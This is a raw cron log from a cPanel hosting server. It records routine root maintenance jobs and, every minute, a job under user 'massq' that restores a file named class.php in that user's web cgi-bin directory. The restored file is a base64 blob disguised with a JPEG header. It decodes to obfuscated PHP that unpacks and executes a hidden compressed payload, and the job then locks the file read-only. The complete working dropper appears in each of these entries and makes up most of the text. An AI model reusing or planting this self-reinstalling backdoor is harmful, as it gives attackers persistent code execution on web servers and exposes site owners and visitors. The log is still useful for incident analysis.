Sep  6 21:35:01 server CROND[2223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:35:01 server CROND[2218]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:35:01 server CROND[2225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:35:01 server CROND[2215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:35:01 server CROND[2217]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:36:01 server CROND[3191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:36:01 server CROND[3193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:36:01 server CROND[3192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:37:01 server CROND[3552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:37:01 server CROND[3551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:37:01 server CROND[3553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:38:01 server CROND[3920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:38:01 server CROND[3921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:38:01 server CROND[3922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:39:01 server CROND[4285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:39:01 server CROND[4286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:39:01 server CROND[4287]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 21:39:01 server CROND[4288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:40:01 server CROND[4676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:40:01 server CROND[4677]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:40:01 server CROND[4678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:40:01 server CROND[4682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:40:01 server CROND[4680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:40:01 server CROND[4679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:40:01 server CROND[4683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:40:01 server CROND[4681]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:41:01 server CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:41:01 server CROND[5620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:41:01 server CROND[5621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:42:01 server CROND[6004]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:42:01 server CROND[6005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:42:01 server CROND[6006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:42:01 server CROND[6007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:43:01 server CROND[6376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:43:01 server CROND[6377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:43:01 server CROND[6378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:44:01 server CROND[6753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:44:01 server CROND[6752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:44:01 server CROND[6754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:45:01 server CROND[7212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:45:01 server CROND[7222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:45:01 server CROND[7224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:45:01 server CROND[7225]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:45:01 server CROND[7223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:45:01 server CROND[7226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:45:01 server CROND[7227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:46:01 server CROND[8156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:46:01 server CROND[8157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:46:01 server CROND[8158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:47:01 server CROND[8575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
